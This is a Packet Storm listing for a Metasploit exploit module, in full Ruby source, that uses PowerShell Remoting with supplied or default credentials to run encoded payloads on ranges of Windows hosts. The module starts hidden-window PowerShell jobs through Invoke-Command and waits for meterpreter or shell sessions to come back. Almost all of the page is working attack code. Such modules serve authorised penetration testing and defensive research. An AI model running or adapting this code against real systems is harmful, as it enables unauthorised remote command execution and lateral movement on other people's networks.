exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Powershell Remoting Remote Command Execution

Powershell Remoting Remote Command Execution
Posted Mar 24, 2015
Authored by Ben Campbell | Site metasploit.com

This Metasploit module uses Powershell Remoting (TCP 47001) to inject payloads on target machines. If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise use a HOSTFILE to supply a list of known hostnames.

tags | exploit, tcp
advisories | CVE-1999-0504, OSVDB-3106
SHA-256 | 81d95a12d4da050bcc3d10140dea8044b0356300805672102af4206ac0964126

Powershell Remoting Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Powershell Remoting Remote Command Execution',
'Description' => %q{
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
use a HOSTFILE to supply a list of known hostnames.
},
'License' => MSF_LICENSE,
'Author' => [ 'Ben Campbell' ],
'References' =>
[
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'DisclosureDate' => 'Jan 01 1999',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
],
'DefaultTarget' => 0
))

register_options([
OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
# Move this out of advanced
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ])
])

register_advanced_options(
[
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
], self.class)
end

def exploit
if !datastore['ExitOnSession'] && !job_id
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
end

unless datastore['RHOSTS'] || datastore['HOSTFILE']
fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
end

if datastore['SMBUser'] && datastore['SMBPass'].nil?
fail_with(Failure::BadConfig, "Need both username and password set.")
end

if datastore['RHOSTS']
ip_list = "$iplist="
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
ip_list << "'#{ip}',"
end

# Remove trailing comma...
ip_list = ip_list[0..-2]
ip_list << ";"
end

known_hosts = ""
if datastore['HOSTFILE']
::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
hostname.strip!
known_hosts << "'#{hostname}'," unless hostname.blank?
end
known_hosts = known_hosts[0..-2]
end

command = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
encode_final_payload: true,
remove_comspec: true)

ps = <<EOF
#{generate_credentials}
$ResultList=@(#{known_hosts});
#{ip_list}
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
EOF

if datastore['SMBUser']
ps << " -Credential $creds"
end

# If the host process terminates too quickly the jobs will die
# before they spawn in a new process.
ps << ";Sleep 20;"
ps.gsub!("\n", "")

command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: ps
)

print_status("Executing command...")
begin
cmd_exec(command)
rescue Rex::TimeoutError
end

stime = Time.now.to_f
loop do
break if session_created? && datastore['ExitOnSession']
break if datastore['ListenerTimeout'].to_i > 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f)

Rex.sleep(1)
end

print_status("Completed")
end

def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass'])
creds = ""

unless user.nil?
creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\
"$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
if domain.nil?
creds << "'#{user}'"
else
creds << "'#{domain}\\#{user}'"
end

creds << ",$pass;"
end

creds
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close